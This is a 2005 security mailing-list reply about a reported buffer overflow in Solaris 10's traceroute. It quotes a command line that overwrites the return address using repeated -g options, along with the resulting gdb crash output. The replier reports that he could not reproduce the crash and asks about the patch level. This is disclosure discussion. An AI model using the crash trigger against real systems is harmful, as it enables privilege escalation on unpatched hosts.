Re: Solaris 10 /usr/sbin/traceroute vulnerabilities

From: David T. Moraski II (moraski2_at_Princeton.EDU)
Date: 06/24/05

  • Next message: QFerm=EDn_J=2E_Serna=22?=: "Re: Solaris 10 /usr/sbin/traceroute vulnerabilities" 
    Date: Fri, 24 Jun 2005 12:54:45 -0400 (EDT)

    On Fri, 24 Jun 2005, Przemyslaw Frasunek wrote:

    > /usr/sbin/traceroute from Solaris 10 is vulnerable to buffer overflow in
    > handling -g argument. After supplying 10 -g parameters, return address is
    > overwritten by IP address argument:
    >
    > atari:root:/home/venglin# /usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g
    > 7 -g 8 -g 9 -g 10 127.0.0.1
    > traceroute: too many IPv4 gateways
    > traceroute: unknown IPv4 host 1
    > traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 88 byte packets
    > Segmentation fault (core dumped)
    >
    > atari:root:/home/venglin# gdb /usr/sbin/traceroute core
    > [...]
    > Core was generated by `/usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g 7
    > -g 8 -g 9 -g 10 127.0.0'.
    > Program terminated with signal 11, Segmentation fault.
    > [...]
    > #0 0x0100007f in ?? ()
    >
    > 0x0100007f is of course 127.0.0.1.

    I ran the above command line on a Solaris 10 system, both as root and a
    regular user, and was unable to reproduce your results; traceroute did not
    segfault or produce a core file. What was your patch level?

    DM

  • Next message: QFerm=EDn_J=2E_Serna=22?=: "Re: Solaris 10 /usr/sbin/traceroute vulnerabilities"

    Relevant Pages